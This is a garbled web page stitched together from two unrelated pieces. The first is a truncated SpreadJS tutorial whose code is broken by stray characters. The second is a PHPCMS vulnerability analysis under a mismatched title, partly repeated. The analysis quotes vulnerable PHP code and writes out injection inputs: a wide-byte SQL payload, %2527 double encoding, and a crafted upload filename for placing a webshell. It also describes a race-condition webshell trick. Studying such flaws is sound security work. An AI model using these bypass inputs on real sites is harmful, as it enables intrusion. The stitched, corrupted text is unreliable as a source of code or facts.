Excel 的樣式系統非常復雜,邊框、字體、對齊、數據格式、條件格式等等每一個(gè)功能點(diǎn)都有非常靈活龐大的實(shí)現,剛開(kāi)始了解 SpreadJS 時(shí),我也被它的 Style 類(lèi)驚呆了,除了我能想象到的邊框、背景、字體、對齊等這些能“看得到”的,竟然也有單元格類(lèi)型、數據格式、表格按鈕、下拉、水印這類(lèi)東西。不由得感嘆 Style 太重了,如果定制大量的單元格樣式,內存和性能肯定都不好。不過(guò)實(shí)際應用中倒也沒(méi)發(fā)現瓶頸,原來(lái)這里采用了分層結構來(lái)設計,如圖:
圖片來(lái)源:葡萄城公開(kāi)課【SpreadJS性能優(yōu)化】
六、SpreadJS怎么用?1. 渲染表格
圖 6.1-1 綁定數據和公式
首先獲取全局 spread 對象,spread 是整個(gè)表格的主體,spread 又分成多個(gè) sheet。SpreadJS 初始化結束都會(huì )返回一個(gè) spread 對象。
?<br />??methods:{<br />?????spreadInitHandle:?function?(spread)?{<br />??????this.spread?=?sprea<br />????},<br />??}<br />
?tableDataBind()?{<br />????//?數據源,可以從后臺請求拿到<br />????var?dataSource?=?{<br />????????//?注意這里加了一層bindPath,用于映射表格的綁定路徑<br />????????bindPath_table:?[{<br />????????????c1:?100,<br />????????????c2:?90,<br />????????????c3:?30,<br />????????????c4:?40<br />????????},?{<br />????????????c1:?88,<br />????????????c2:?66,<br />????????????c3:?55,<br />????????????c4:100<br />????????},?{<br />????????????c1:?30,<br />????????????c2:?89,<br />????????????c3:?100,<br />????????????c4:?40<br />????????},{<br />????????????c1:?40,<br />????????????c2:?66,<br />????????????c3:?88,<br />????????????c4:?40<br />????????}]<br />????};<br />????//?表格綁定和單元格綁定數據源,需要用SpreadJS的CellBindingSource包裝一下<br />????var?spreadNS?=?GC.Spread.Sheets;<br />????var?dataSource1?=?new?spreadNS.Bindings.CellBindingSource(dataSource);<br />????var?table2?=?this.activeSheet.tables.add("tableName",?0,?0,?1,?5,?spreadNS.Tables.TableThemes.light6);<br />????table2.showFooter(true);<br />????table2.autoGenerateColumns(false);<br />????var?c1?=?new?spreadNS.Tables.TableColumn(1);<br />????c1.name("語(yǔ)文");<br />????c1.dataField("c1");<br />????var?c2?=?new?spreadNS.Tables.TableColumn(2);<br />????c2.name("數學(xué)");<br />????c2.dataField("c2");<br />????var?c3?=?new?spreadNS.Tables.TableColumn(3);<br />????c3.name("英語(yǔ)");<br />????c3.dataField("c3");<br />????var?c4?=?new?spreadNS.Tables.TableColumn(4);<br />????c4.name("化學(xué)");<br />????c4.dataField("c4");<br />????var?c5?=?new?spreadNS.Tables.TableColumn(5);<br />????c5.name("合計");<br />????table2.bindColumns([c1,?c2,?c3,?c4,?c5]);<br />????table2.bindingPath("bindPath_table");<br />????//?設置公式<br />????table2.setColumnDataFormula(4,?"=[@語(yǔ)文]+[@數學(xué)]+[@英語(yǔ)]+[@化學(xué)]");<br />????table2.setColumnFormula(4,?"=SUBTOTAL(109,[合計])");<br />????//?設置允許單元格的內容超出單元格,與綁定無(wú)關(guān)<br />????this.activeSheet.options.allowCellOverflow?=?true;<br />????//?綁定dataSource<br />????this.activeSheet.setDataSource(dataSource1);<br />????this.spread.resumePaint();<br />},<br />
圖 6.1-2函數名和函數碼映射表2. 渲染條件格式
渲染條件格式:數據渲染完成只能保證數據能正常顯示出來(lái),但是這還不能滿(mǎn)足數據分析師的需求,還要明顯展示有效數據譬如:最大值,最小值標紅,進(jìn)度條展示一個(gè)變化狀態(tài),圖標展示上升還是下降,雙色階,三色階,等,具體怎么實(shí)現?
<p>iconset()?{<br />????var?activeSheet?=?this.activeSheet;<br />????var?iconSetRule?=?new?GC.Spread.Sheets.ConditionalFormatting.IconSetRule();<br />????//?演示demo先寫(xiě)死區域<br />????iconSetRule.ranges([new?GC.Spread.Sheets.Range(0,0,?5,?5)]);<br />????// IconSetType圖標志的類(lèi)型:箭頭,圓圈和execl 打通的,excel有哪些這這邊就支持哪些<br />????iconSetRule.iconSetType(GC.Spread.Sheets.ConditionalFormatting.IconSetType.threeArrowsColored);<br />????var?iconCriteria?=?iconSetRule.iconCriteria();<br />????iconCriteria[0]?=?new?GC.Spread.Sheets.ConditionalFormatting.IconCriterion(<br />??????true,<br />??????GC.Spread.Sheets.ConditionalFormatting.IconValueType.number,?<br />??????60<br />????);//(
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 67 次瀏覽 ? 2022-06-20 19:24
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:
第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:
第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
